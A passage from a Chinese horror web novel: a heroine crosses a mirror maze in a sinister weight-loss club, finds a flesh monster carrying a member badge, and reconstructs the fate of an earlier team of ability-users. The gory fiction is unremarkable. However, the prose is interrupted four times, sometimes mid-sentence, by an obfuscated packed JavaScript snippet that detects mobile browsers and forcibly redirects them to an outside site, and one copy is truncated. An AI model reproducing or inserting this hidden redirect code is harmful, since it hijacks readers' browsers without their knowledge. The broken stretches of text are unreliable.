苗苗不闪不避,硬是咬着牙挨下了这一击,手臂顿时鲜血淋漓,可它却露出了幸灾乐祸的笑容:“呵呵,蠢货,你上当了!你攻击了我,违反了规则,你很快就会遭到惩罚的!” 伶伶充耳不闻,又抬起手毫不留情地抓住了苗苗的头发,狠狠往外一扯。 伴随着令人牙酸的“刺啦”声,苗苗也被扯下了一块头皮,白森森的头骨就这么裸露在了外面。 “啊——住手!该死的,你居然敢让我变成光头!”苗苗崩溃地大叫起来,又很快意识到不对:“等等,你怎么还没有受到惩罚?啊,该不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17017707|189941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会......” 它忽然想起,不久前妙手回春曾带着另一个人类到前台找它,跟它东拉西扯地说了一堆废话才开始向它索要《会员手册》,莫非那时候她也在它身上戴了会员胸牌? 它慌忙低下头查看自己的胸口,在发现只有一枚胸牌后,转而开始检查身上的其它位置,试图找到会员胸牌的所在。 然而伶伶可不会给它喘息的机会,趁着它停顿的工夫立刻反扑,速度极快地撕扯掉它身上的皮肉。 苗苗惨叫出声,不得不中断搜寻,全心全意投入到反击之中。 干饭大王不自觉地张开嘴,震撼地看着台上的画风转眼间便从阴阳怪气的宫斗剧变成了血肉横飞的动作片。 她一时间甚至忘记了自己正处于危机四伏的诡异俱乐部中,只觉得自己像个围观互撕现场的吃瓜群众。 不愧是怪物,就连塑料兄弟互扯头花都能撕得如此激情四射。 可惜她如今被限制了活动范围,不能轻举妄动,否则她一定要用光脑录下这一幕给神医观赏,好好感谢神医让她看到了这样的热闹。 * 另一边,□□饭大王惦记着的神医却没有她那样闲适的心情。 刚一踏入4楼的会场内部,雁惊春便被四面围拢过来的影子吓了一跳,差点条件反射地推门离开。 好在下一秒她就看清了那些身影的真面目——正是她自己的倒影。 只见周围不知为何摆满了镜子,只留下了一条狭窄的通道可供穿行。 她听着门外越来越近的沉重脚步声,咬了咬牙,沿着通道往深处走去。 通道内部同样摆满了镜子,它们彼此紧密相连,浑然一体,就连地面与天花板都是由镜子构成的。她试着在镜面上敲了敲,发觉这些镜子异常结实厚重,难以破坏。 那些竖直放置的镜子下端与地面浑然一体,宛如直接从地底生长而出;上端则直抵天花板,全然不给人翻越的机会。 这些镜子如同墙壁般严格限制了雁惊春的活动范围,但前路却并未完全封死。 在镜面的重重反射中,她依稀辨认出前方出现了两个岔路口。 看来这是一座镜子迷宫。 雁惊春轻叹口气,很不情愿在这样的环境里和蜕玩你追我逃的游戏。 在镜子迷宫中,不仅无数反射的虚影会照得人头晕眼花、难以判断道路,更要命的是一旦误入死路,就会被追杀她的蜕来个瓮中捉鳖,躲都没处躲。 眼下最好的情况,就是那只来4楼的蜕压根不进入迷宫,在外面转悠一圈发现没人就赶快离开。 她站在门口,屏息凝神地聆听着外面的动静,希望脚步声能在门口停下。 然而,好运并没有眷顾她。 她听到了入口处的大门被打开的声音。 雁惊春暗叹口气,只得选择一条岔路继续前行。 或许是因为伶伶在交流会中将她脑内的精神污染提炼了出来,她在交流会结束后便完全恢复了理智,只是脑部仍残留着胀痛感,像是被某种无形之物粗暴地翻搅过。 这种状况下显然不适合再往她的理智大坝上凿洞了,但是如果待会儿她被逼到了绝境,也只能再次放出精神污染,让它把自己和身后的追兵一并吞没。 好在运气这东西总是守恒的,在接连遭遇厄运后,她终于迎来了好运,连续两次选中了正确的岔路,将追着她不放的脚步声甩开了一段距离。 眼看着前方的道路越发复杂,雁惊春在一个三岔路口停住了脚步,打算先观察一下再做选择。 前两条岔路都在距离路口几米远的地方设置了拐角,使人难以辨认道路通往的方向。第三条岔路则直接在离路口两步远的位置再度分叉,往左右两边各引出了一条道路。 雁惊春思忖片刻,决定先走第三条岔路看看情况。 没想到刚迈入岔路,她的脚下便突然传来“咯吱”一声轻响,仿佛碾到了什么东西。她立即将脚挪开,狐疑地弯腰望去。 那是一团新鲜的、正在不住蠕动的肉块。 38. 异食俱乐部17 雁惊春小心地伸出一根手指,在那团肉块上戳了戳。 霎时间,肉块就像受惊的小动物般猛地抖动了一下,旋即迅速绕开她,贴着道路边缘往左侧的岔路中滑去。 在几近废弃的场馆内突兀出现前所未见的古怪肉块,怎么看都让人觉得另有隐情。她略作迟疑,便抬步追了上去。 前方的道路愈发错综复杂,肉块的速度又快得惊人,稍慢一步就仅能瞥见它残留在镜中的一抹倒影了。 雁惊春甚至来不及分辨道路,只能摸索着两侧的镜面紧随其后,却还是在拐过五六条岔路后失去了它的踪迹。 然而她并未就此迷失方向,因为道路两侧出现了更多散落的肉块。 每块肉都有拳头大小,有的孤零零蜷在墙壁与地面的夹缝中,有的与其它肉块黏连在一起,自墙根处向外蔓延,犹如冬季被扫到路边的积雪。 它们皆以同样的频率规律地收缩和舒张,表面暗红色的肌肉纹理随之起伏,仿若正在呼吸。 追逐她的蜕已经被远远甩开,雁惊春索性放慢了脚步,一面谨慎地观察四周,一面沿着遍布肉块的道路继续前行。 这些肉块似乎只会生长在正确的路径上,她顺着它们的指引行进,居然一次都没有走进死路。 随着她的逐步深入,道路两侧堆积的肉块越来越多,甚至攀缘到了周围的镜面上。渐渐地,密密麻麻的肉块挤满了镜面,原本的镜子迷宫被彻底覆盖,变成了一条血肉长廊。 坠在她身后的脚步声不知何时已然消失,取而代之的是叹息般的风声。 “呼——呼——” 雁惊春驻足聆听,很快发觉风声的频率与肉壁的起伏恰好相合,仿佛迷宫深处潜藏着某种活物。 莫非这里就是织茧者的藏身之处?不,应该没那么简单,这里虽然鲜有人迹,可对于有心搜寻的能力者而言并不隐蔽,倘若织茧者真的藏在这里,早该被之前到来的能力者消灭了。 她的脑中划过种种猜测,最终还是决定亲自过去看看,遂重新迈开脚步,踏上了这条由血肉铺就的道路。 脚底传来微妙的触感,凹凸不平的肉块被踩中时发出令人不适的“咕叽”声。 随着她的行进,叹息声逐渐清晰,覆在镜面上的肉壁愈来愈厚,通道随之变得逼仄,她不得不弯下腰才能勉强通行。 终于,在拐出一个转角后,她周身的压迫感陡然消失。 她总算走出了血肉长廊,来到了一处空地。 “呼——”上方传来近在咫尺的叹息声,雁惊春循声抬头,在看清眼前的场景后忍不住“嘶”了一声。 只见密集的肉块挨挨挤挤,宛如爬山虎般挤占了整面墙壁,唯有正中央留下了几道空隙,形成了状若五官的□□。 声音就是在那条看起来像嘴巴的□□中传出的。 她打量着眼前的庞然大物,有些疑惑以瘦身为宗旨的俱乐部内怎么会出现这种身材臃肿的怪物。 怪物似乎并未察觉她的到来,仍保持着规律的呼吸声,雁惊春趁机轻手轻脚地凑近,仔细观察它庞大的身躯。 谁知就在她走近的刹那,一坨肉块忽然自它身上脱落,“啪嗒”一声掉在了地上。 她动作一顿,警惕地望向怪物的面部,在察觉它没有苏醒的迹象后才略松口气,扭头打算查看掉落的肉块时,却发现它已不在原地。 她立刻抬起头四下搜寻,很快便看见那肉块游动着钻入了她来时的隧道,在滑过一个转角后彻底消失在了她的视野中。 她没有追过去,而是若有所思地望向了身侧的怪物。看来之前遇见的那些或聚或散的肉块都是从它的身上脱离出去的。 接着她又往肉块脱落的部位瞧了瞧,突然注意到在这个新鲜的缺口里好像有什么东西。她连忙凑近细看,发现那东西边缘处的轮廓似乎有些像......胸牌? 在意识到这一点后,雁惊春精神一振,当即朝缺口处伸出手,一边小心留意着怪物的反应,一边轻轻拨开覆盖在那东西上方的肉块,让它显露出全貌。 果然,她没有看错,那的确是一枚胸牌。 虽然被包裹在了层层血肉中,但胸牌仍旧光洁如新,左半边印着字迹清晰的“会员”二字,右半边的文字却模糊得厉害,只能依稀辨认出是一串数字——“101”。 她捏住胸牌,试着往外拔了拔,然而它已深深嵌入怪物的血肉,难以轻易取出。为了避免惊动怪物,她只得暂时放弃,将手从缺口中抽了出来。 奇怪,为什么怪物的身体里会有胸牌?莫非是曾经被这只怪物吞吃的人留下的? 雁惊春本能地觉得有哪里不对,可还没等她思考出结果,不远处就突然传来一声巨响,截断了她的思绪。 墙壁被撞击时发出的“砰砰”闷响、玻璃碎裂时清脆的“咔嚓”声、碎片落地时“稀里哗啦”的杂音接连响起,整个空间都因此而微微震颤。 什么情况,难道追杀她的工作人员还没有离开?可她明明许久都没有听见它的脚步声了啊! 迷宫被暴力破坏的噪音持续响起,昭示着追杀者仍未放弃对她的搜寻。更糟糕的是,声源正在急速逼近她所处的位置,始终未曾偏移,简直像已经锁定了她的方位。照这样下去,她很快就会暴露。 她只得暂停对怪物的调查,沿着爬满肉块的墙壁一路狂奔,在找到连通此地的另一条隧道后毫不犹豫地钻了进去。 下一瞬,通往怪物所在地的最后一面镜子被狠狠击碎,附着在上面的肉块“噼里啪啦”地掉落一地,沉重的脚步声再次响起。 雁惊春没有直接逃走,而是借着隧道的遮掩飞快朝外瞥了一眼,想看看追击她的究竟是哪一只蜕,居然有如此惊人的破坏力。 森白的身影缓步迈入空地,骨刀般的手指垂落到地上,划出刺耳的摩擦声。 是刮脂。俱乐部中最难对付的一只蜕。 雁惊春暗道倒霉,正打算沿着隧道尽快离开,却见刮脂并没有继续寻找她的踪迹,而是径直走向寄生在墙壁上的怪物,高高扬起了锋利的手爪。 她的脚步顿住了。 看这架势,刮脂的目标似乎并不是她,而是那只由肉块组成的怪物?对了,它体内还残留着一枚胸牌,的确可以被视为会员。 正如她所预料的那样,刮脂把怪物当作了攻击目标。它的手爪穿透了怪物的身躯,又猛地向外一扯,大量肉块便纷纷掉落。 怪物受到刺激,终于苏醒过来。只见它形如嘴唇的那道缝隙倏然扩大,空隙中传出尖锐的哀鸣:“啊——” 雁惊春动作极快地捂住耳朵,却还是被它震得鼓膜发疼。 离它更近的刮脂却像全然没受影响,又一次抬起沉甸甸的双掌,朝怪物的身上挥去。 惨叫声与利器划破肌肉的声音交织在一起,雁惊春看着尽职尽责帮怪物“减肥”的刮脂,心中反而安定下来。 她曾在干饭大王的《会员手册》上看到过其它能力者留下的批注,直到等时间消耗完毕或达到除罪指标,活动就会结束。 再结合手册中提到的“肥胖即是罪孽”、交流会上伶伶将催吐称为“赎罪”的说法,以及干饭大王对她经历过的瘦身运动的描述,不难推断出,所谓的“除罪指标”,指的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17020689|189941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就是从会员身上撕扯掉的血肉多寡。 普通人类难以承受这样的伤害,只能依靠躲避拖延时间,挨到活动限时结束。 但是有了这只以血肉堆积而成的怪物充当工作人员的攻击目标,达成除罪指标就成了一件轻而易举的事。假如刮脂在瘦身运动刚开始时就能遇见这只怪物,那么这场活动马上就能结束,其他人甚至不需要费心躲避。 想到这里,雁惊春骤然明白了自己之前为什么觉得不对劲。 这只怪物的存在对会员毫无威胁,反而能以自我牺牲的方式,保护会员平安度过瘦身运动。 电光火石间,数个记忆片段在她脑中闪过。 在签到表上留有姓名,却从来不曾露面的会员nono。 《会员手册》上禁止偷盗或抢夺工作人员胸牌、禁止佩戴不属于会员本人胸牌的规则。 被尘封的4楼场馆和涵盖了五个楼层的活动范围。 与其它工作人员格格不入,且对迷宫格外执着的刮脂。 以及,4楼迷宫深处的怪物体内,印着“101”的会员胸牌。 不,考虑到怪物体内的胸牌姓名栏已经严重磨损,现在的字迹必然有所缺漏。 或许胸牌上的姓名并非“101”,而是——“nono”。 “神医?神医!” 耳畔响起熟悉的呼唤,雁惊春猛地回神,这才意识到自己不知何时已离开了迷宫,正和干饭大王、老王、小柔一起站在4楼场馆外。 在她不远处,刮脂又站回了签到处旁,双目空洞、纹丝不动,犹如一具失去了操纵的人偶。 干饭大王见她不吭声,担忧地拍了拍她的肩膀:“神医,你没事吧?” “没事。”雁惊春朝她挤出一个微笑,“看来瘦身运动提前结束了。” “是呀!”干饭大王兴奋地点点头,“多亏了你想的办法,苗苗和伶伶真的互撕起来了!我猜就是因为它们扯掉了彼此不少肉,达成了除罪指标,才让这场活动提前结束了。我跟你讲,它们撕到最后的时候......” 干饭大王绘声绘色地描述起那对塑料兄弟互扯头花的激烈战况,就连向来稳重的老王都被她的讲述吸引,好奇地询问细节。 然而雁惊春却没有听故事的心情,歉然地打断了她:“抱歉,大王,能先借我看看你的《会员手册》吗?” 干饭大王看出她有心事,没多问什么,痛快地将手册交给了她。 雁惊春立即翻开手册,一目十行地浏览字里行间的红色批注。 写在前两页的都是干饭大王曾让她看过的活动注意事项,她略扫一眼便迅速翻过。 越往后翻,批注的字迹便越凌乱,内容也愈发叫人摸不着头脑,还有大段文字被用力划去,即便对着灯光仔细辨认,也看不出被划掉的文字究竟是什么。 干饭大王觉得自己恐怕没能帮上忙,有些不好意思地解释:“我拿到手册的时候,最后两页的笔记已经被划成这样了,我也不知道原本写了什么。而且剩下那些话写得奇奇怪怪的,我都看不太懂。” “没关系,已经足够了,谢谢你。”雁惊春合上手册,神色平静地将它还给干饭大王。 对于没有觉醒天赋的普通人而言,最后两页的文字就像是疯子的呓语,毫无意义。可对于知情人士来说,残留的几行文字中已然蕴藏了不少信息。 至少现在她已经知道了,上一支进入俱乐部的能力者小队里有一名蝶特性、一名螂特性和一名雄蜂特性。 正好与她的推测相吻合。 雁惊春叹口气,心情不禁变得有些沉重。 39. 异食俱乐部18 根据笔记里提供的信息,雁惊春基本可以确定,在手册上写下笔记的就是那名蝶特性能力者,同时她也是在各个楼层构筑了安全点的人。 但那些安全点并非她在入茧之初就布置下的,而是在瘦身运动发生了某次异变后才做出的补救措施。 关于那场异变的始末,或许她曾经在笔记中记载过,可后来不知为何又将其尽数划去,没有给后来者留下任何可供考据的记录。 因此,对于这支能力者小队究竟经历了什么,雁惊春只能结合过往情报自行推测—— 在最初来到瘦身俱乐部时,前台的苗苗告诉他们,要想进入2楼及以上区域,就必须登记姓名、成为会员。 为了深入茧中寻找织茧者,他们只得同意加入俱乐部,但对于登记姓名的要求心怀警惕,便和雁惊春一样编造了假名。 苗苗对他们报假名的行为十分不满,可又不能以此为由拒绝登记,只能不情不愿地按他们所说的姓名制作了胸牌,并告知:“根据《会员手册》第一条,在瘦身俱乐部中,会员必须时刻佩戴由俱乐部前台制作的胸牌,胸牌上的字迹必须完整清晰,不得有脏污和缺损。” 能力者们从它口中得知《会员手册》的存在后,立刻意识到了手册的重要性,随即通过对苗苗施行暴力威胁或言语哄骗,成功拿到了手册。 在对手册内容进行了简单验证后,他们将《会员手册》和验证结果一并录入行动组破茧专用程序,人工智能momo由此总结出了第一条情报:【1.茧中列有多条明确规则,一旦违反将遭受蜕的袭击,请勿违反规则。】 他们对momo的推算结果深信不疑,因此在参加第一场会员活动——猛瘦举办的讲座时,同样遵守了它提出的讲座注意事项,老老实实地认真听讲、回答问题、记录笔记。 这的确让他们避免了猛瘦的刁难,但与此同时,他们也受到了精神污染的侵蚀。 在意识到这一点后,他们立刻在破茧程序上报了最新情况,momo随之总结出了新的情报:【2.每次按照规则要求行动并成功避险后,所受精神污染程度将加深,请勿遵守规则。】 两条截然相反的情报令他们一时陷入了迷茫,在经过一番讨论后,他们决定向更早加入俱乐部的普通人打探消息。 于是在之后的空白时段内,他们试着接触了其他会员,成功了解到不少与俱乐部相关的信息。 能力者们精神振奋,一面根据新获得的线索制定之后的行动策略,一面将“可优先向会员打探情报”的建议录入了破茧程序。 然而,能力者和普通人之间的联盟在接下来的交流会上彻底破裂了。 在交流会即将开始时,苗苗来到3楼分发减肥药,会员中的普通人们为了保命不得不乖乖服药,但能力者们已经意识到:只有《会员手册》中的规则才是不可违背的,对于工作人员的要求则不必言听计从。 其中一名能力者寻机从苗苗手中抢夺了减肥药,并用自己的能力将其净化,消除了减肥药能够短暂操控会员意志的副作用。 当时同在现场的伶伶对此不仅没有加以阻止,反倒暗中帮了能力者一把,致使苗苗犯下大错,被织茧者剥夺了保管减肥药的资格,两只蜕就此结仇。 能力者们对它们之间的勾心斗角毫无兴趣,他们更关心那些已经在药物的操纵下进入会场的普通人。 他们察觉到那些普通人服药后的状态明显不对,便约定在交流会上对其加以保护,以此作为他们提供线索的回报。 然而令能力者们没想到的是,服药后的普通人们已经不再是他们的同伴,而是变成了伶伶手中的傀儡。 在惨遭背刺后,能力者们在破茧程序中留下警告:“不要相信任何人”。 等到这支小队好不容易从交流会中脱身,队伍成员的肉.体与精神已然受到了不少损害。 他们总结先前的教训,认为小队之前的行动方式太过被动,于是决定改变策略,在下一场活动中由谨慎探索变为主动出击。 彼时的瘦身运动还没有随机传送,也没有涵盖了五层楼的活动范围,而是和其它活动一样,在俱乐部其中一层楼的场馆内举办,由该楼层的工作人员负责。 这种活动形式对普通人而言是致命威胁,但对能力者来说却是反杀的良机。 凭借各自的天赋,他们在参加瘦身运动时围杀了原本的教练,将从它身上夺取的胸牌戴在了一名螂特性能力者身上,希望她能借此被视为俱乐部的工作人员,让那些蜕也尝尝被“同伴”背刺的滋味。 他们猜的没错,俱乐部内的身份判定的确是以胸牌为依据的。 可即便觉醒了天赋,他们终究还是人类,不清楚织茧者与蜕之间的联系是何等紧密。 就像雁惊春在好梦床垫的会场时,能共享由她制造的男护士的感官,还能直接通过意念对它下达指令一样,那名能力者在戴上工作人员胸牌的瞬间,便被视为了织茧者制造出的一只蜕,直接受到了来自织茧者的注视和命令。 她难以承受如此强烈的精神冲击,当场陷入疯狂,骨骼飞速生长,撑破皮肉与衣物,眨眼间便被异化为了一只白骨森森的怪物,彻底继承了“刮脂”的名字。 更可怕的是,她身上还保留着自己的天赋特性,令她变异出了无比尖利的牙齿和手指,攻击力比上一任刮脂更加强悍。 为了保住其他人的性命,拥有血肉再生天赋的雄蜂特性能力者nono不得不主动将自己送到她的骨刀之下,一边承受她的攻击,一边不断在自己身上催生出新的血肉。 然而第二任“刮脂”的攻击过于迅疾,nono为了跟上她的攻击节奏,只能不断加快血肉再生的速度,不知不觉间也陷入了失控状态,大量被催生出的肉块覆盖在他的体表,将他变成了一只体态臃肿的怪物。 唯一值得庆幸的是,他的外形虽然变成了怪物,但身份仍旧属于“会员”,“刮脂”在从他身上剥落了足够分量的血肉后,瘦身运动就提前宣告了结束。 参加完三场活动的小队伤亡惨重,又迟迟寻觅不到织茧者的踪迹,走投无路之际,意外发现瘦身俱乐部与其它茧不同,只要满足特定条件即可从茧中退出。 他们当即决定先让部分队员带着尚且有救的普通人离开这里,只剩几名状态稍好的会员留在茧中,等到尽可能多搜集一些情报后再撤离。 而nono的情况虽然不容乐观,却是当时唯一能保护大家安全完成瘦身运动的人,因此在找到其它过关方法前,他也只能留下。 就这样,在顺利送出了大多数会员、确定了这个茧的退出方法后,留守的能力者们再无顾忌,开始在俱乐部内大肆探索。 他们的探索手段相当粗暴,给俱乐部带去了不少麻烦,《会员手册》上第十条以后的规则就是在那时逐步增添的。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17042247|189941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >每当他们造成一次破坏,《会员手册》上便被迫增加一条规则,织茧者的精力也随之被消耗,显得极为狼狈。 与此同时,小队中的蝶特性能力者研究出了通过构筑安全点躲避追杀的办法,不再需要nono牺牲自己去抵挡伤害,能力者们似乎终于掌握了主动权。 留守的小队大受鼓舞,甚至打消了从茧中脱离的念头,认为接下来可以乘胜追击,迫使织茧者露出破绽后将其一举歼灭。 ——直到他们再次见到了曾经离开的同伴。 那些成功逃离的同伴们脸上挂着或是茫然、或是狂热的表情,无一例外地主动返回了俱乐部。 而这一次,他们还带来了各自的亲戚朋友。 直到此刻留守小队才发觉,所谓的“满足特定条件即可从茧中退出”,不过是织茧者为了扩散污染而故意布下的陷阱。 凡是在俱乐部登记过会员身份的人,精神中早已留下了织茧者的烙印,即便经历过破茧组织的净化也无法将之拔除。他们注定会回到俱乐部,并向织茧者献上更多的猎物。 面对迟来的真相,那支留守小队做出了怎样的选择呢?是好言相劝,让被亲友诱骗来的无辜者在成为会员前尽快离开?还是对昔日的同伴拔刀相向,通过终结他们的性命阻止污染的进一步传播? 蝶特性能力者的笔记中没有记载那场冲突的细节,但雁惊春仍能从他们录入破茧程序的最后一条情报中窥见当时的惨状—— 留守小队不忍心对同伴痛下杀手,便决定先将他们监管起来,同时加快破茧速度。毕竟只要能消灭织茧者,它留在会员体内的精神烙印自然也会一并消解。 可是为虎作伥的会员人数实在太多,留守小队根本无法在抵御茧内危机的同时避免有人擅自逃离。 他们绝望地意识到,曾经的同伴已然变成了披着人皮的伥鬼,要想阻止污染继续扩散,他们就必须举起屠刀。 于是他们砍下了伥鬼的头颅,却发现它们的双脚仍在向外迈步;他们剁掉了伥鬼的双脚,却看到它们的躯干还在挣扎着试图逃离。 他们别无他法,只能一次又一次地斩断昔日同伴的身躯,直到它们被切成碎块,彻底丧失行动的能力。 等到变故终于平息,他们将和“逃离俱乐部的方法”有关的信息尽数抹去,又在破茧程序中警告后来者绝不能在破茧之前离开。 彼时的留守小队已经退路全无,索性下定决心与织茧者不死不休。 然而,伥鬼的出现消耗了留守小队的精力,却给了织茧者喘息之机。 它先是将nono困在了4楼镜子迷宫的最深处,紧接着修改了瘦身运动的规则,将这场活动设置成强制参与,又把活动场地由4楼场馆扩展为1楼至5楼的全部区域,并且增加了随机传送的机制。 除此以外,它还解除了瘦身运动期间对工作人员的限制,不仅允许它们自由行动,还强化了它们的战斗力。 留守小队被升级后的瘦身运动逼得无力还击,只能躲在蝶特性能力者构筑的安全点内拖延时间。 于是,安全点成为了双方想要摧毁或守护的目标。在经历了反复的破坏与重建后,最终每层只保留了一到两个可供一人藏身的安全点,而构筑安全点的蝶特性能力者已然不知所踪。 如今的签到表上,除了因能力暴走变成怪物的nono以外,已经再也看不到留守小队成员的名字。 40. 异食俱乐部19 斯人已逝,雁惊春既没有逆转时间的能力,也无法让异变的“刮脂”和nono恢复人形,唯一能做的就是利用他们留下的线索干掉织茧者,让瘦身俱乐部彻底消失,以此告慰那些曾竭力抗争过的能力者们。 目前她没有参与过的活动只剩下评比,这也是每天的最后一场活动。按照《会员手册》的规定,只有前三场活动均签到成功才能参加评比,而通过评比活动的优秀会员,即可得到创始人的亲自指导。 倘若创始人就是这个茧的织茧者,那么评比活动无疑是破茧的最佳机会。并且据她推测,离开俱乐部的条件应当也与评比有关。 毕竟,站在织茧者的角度考虑,在放会员到外面传播精神污染之前,总得先确保此人成为了合格的污染源。而评比活动,无疑就是检测会员受污染程度的绝佳时机。 想到这里,雁惊春扭头询问身侧的干饭大王:“大王,你之前应该参加过评比吧?能不能给我讲讲这场活动要做些什么?” “评比?这个活动没什么危险性啦。”干饭大王语气轻松,“就是让我们在6楼的舞台上依次进行不少于五分钟的演讲,给出的演讲主题都是与减肥有关的。” “在我们演讲的时候,舞台外围的观众席上会坐满建模相同的虚拟人像,虽然看着唬人,但它们并不会攻击我们,只会面无表情的听完整场演讲。” 干饭大王摊了摊手:“《会员手册》的笔记里没写与评比有关的内容,所以我干脆按照自己的想法,全程念叨无关紧要的车轱辘话,没想到还真被我糊弄过去了。” “只有一点需要特别注意,就是演讲期间千万不能走神,我之前不过是稍微溜了一会儿号,就在不知不觉间说出了好多奇怪的话。” 她双掌一拍,做出总结:“即使是说废话,也要全神贯注地说!” “除此之外呢?既然叫评比活动,那在演讲结束后应该还有评比环节吧?”雁惊春忍不住追问。 干饭大王点点头:“有的,在每个人结束演讲后,大屏上都会以文字形式投放出刚才演讲的内容,同时观众席上的虚拟人像们会开始投票。等到它们投票完成,就会当场宣布演讲者的评比结果。不过自从我来到这里,还没见过有谁能通过评比呢。” 雁惊春:“没通过评比会有什么后果吗?” “没什么后果呀,评比结果出来后它们就会叫下一个人上台,而完成评比的人只需要回后台等着就行。等到所有人都评比完,今天的活动就结束了,大家就可以回宿舍休息了。然后第二天一早,新一轮的活动又会开始。”干饭大王想到工作人员们如今的惨状,忍不住笑出了声:“不过,那些家伙被你折腾得不轻,明天的活动能不能正常开展还说不定呢。” 语毕,她看见雁惊春脸上浮现出若有所思的神色,立刻饶有兴趣地凑了过去:“神医,难道你又有什么新计划了吗?需不需要我帮忙?” 雁惊春回过神,摇了摇头:“我的确有了些想法,不过实行起来有风险,还是我自己先试试吧。” 干饭大王对她相当信服,闻言也不多问,只笑嘻嘻地搂了下她的胳膊:“那小妹就靠你啦~” 雁惊春望着她脸上明朗的笑容,笼罩在心头的阴霾不禁消散了许多,不自觉地露出微笑:“放心吧,你只要延续之前的做法就好,剩下的交给我。” 交谈间,这次的空白时段即将结束,为避免错过评比,两人提前动身,搭乘电梯前往6楼。 与之前的活动不同,6楼的场馆外没有负责接引的工作人员,符合参加条件的会员需要在门口自行完成签到,随后穿过走廊进入后台,等待登台演讲。 由于《会员手册》中明确规定:“前三场活动均签到成功时,方可参加评比。”,所以有资格参加本场评比的只有四名会员。 其中老王和小柔早已先一步签到进场,雁惊春和干饭大王来得稍晚,签到顺序分别排在第三和第四。 等到她们先后迈入位于舞台后方的候场区,评比活动也随之开始,屏幕上显示出的演讲顺序与众人的签到顺序相同,依次为:老王、小柔、妙手回春、干饭大王。 老王第一个登场,来不及与她们寒暄,点头致意后便沿着侧面的小路走上了舞台。 小柔则一声不吭地蜷坐在角落里,对她们的到来和老王的离开都毫无反应。 雁惊春对他印象不佳,懒得找他搭话,全心关注起老王那边的情况。她看不到舞台上的场景,但能听见那边传来的死板电子音:“会员老王,请选择你的演讲主题。” 老王毫不犹豫:“第一个。” “噔噔噔”的鼓点声响起,电子音说道:“你选取的演讲主题是:‘瘦身成功,我做对了哪些事?’,演讲时长不得少于五分钟。现在演讲开始。” “好的。相信大家一定很好奇,我究竟做对了哪些事,才能瘦身成功。其实我的做法很简单,只要努力,你也可以做到。首先,我即使在晚上睡觉的时候也会坚持呼吸。可别小瞧了这个细节,这样做能有效地帮助我们吸入氧气并排出二氧化碳......”老王的声音严肃正经,倘若忽略她讲话的内容,简直像在听学术报告。 在接下来的几分钟里,她将这种演讲风格延续了下去,事无巨细地叙述了她每天从起床到入睡的种种行为,就连眨了一下眼睛都能被她说成“为了减肥所做出的努力”。 “......我的分享就到这里,欢迎大家批评指正。”老王的时间把控得极好,当她说完最后一句结语时,演讲时长刚好满五分钟。 之后的评比环节与干饭大王说过的一样,电子音又一次出现,出言组织观众席上的评审们进行投票。 三分钟后,投票结束,它用毫无起伏的音调宣布了评比结果:“会员老王,很遗憾,你未通过本次评比。” 话音刚落,一直缩在角落的小柔终于动了。他迅速地站起身,快步走进通道,正巧与走回后台的老王擦肩而过。 老王有些意外地瞥了他一眼。以往小柔即将登台演讲时都表现得相当慌乱,这回怎么突然变得这么积极? 还没等她想明白小柔变化的缘由,舞台上已经再次开始了选择演讲主题的环节。 小柔语气平静地回答:“我选第三个。” 伴随着一阵鼓点声,电子音再度响起:“你选取的演讲主题是:‘肥胖即是罪孽’,演讲时长不得少于五分钟。现在演讲开始。” 话音落下,舞台上顿时陷入了寂静,半晌都没有传来小柔的声音。 老王不由皱眉:“这是在......” “啊!”突兀的尖叫声打断了她的疑问,老王微微一怔,下意识转身往舞台的方向跑去。 然而,方才很快便能走到尽头的通道此刻却显得格外漫长,老王在黑黢黢的道路上狂奔,却无论如何也无法抵达不远处的舞台。 她渐渐缓下脚步,扭头向身后看去,发现后台仍在距离她两步远的地方,仿佛她从未移动过位置。 对了,当舞台上有人时,其他人是无法看见、更无法踏上舞台的。 老王沉沉地叹了口气,心绪复杂。 大约半个月前,那个叫万安安的小男生联系 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17051448|189941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了她,她才得知小静这段时间并没有和他待在一起,而是偷偷加入了一个名叫瘦身俱乐部的组织,甚至在进入俱乐部后直接失联了。 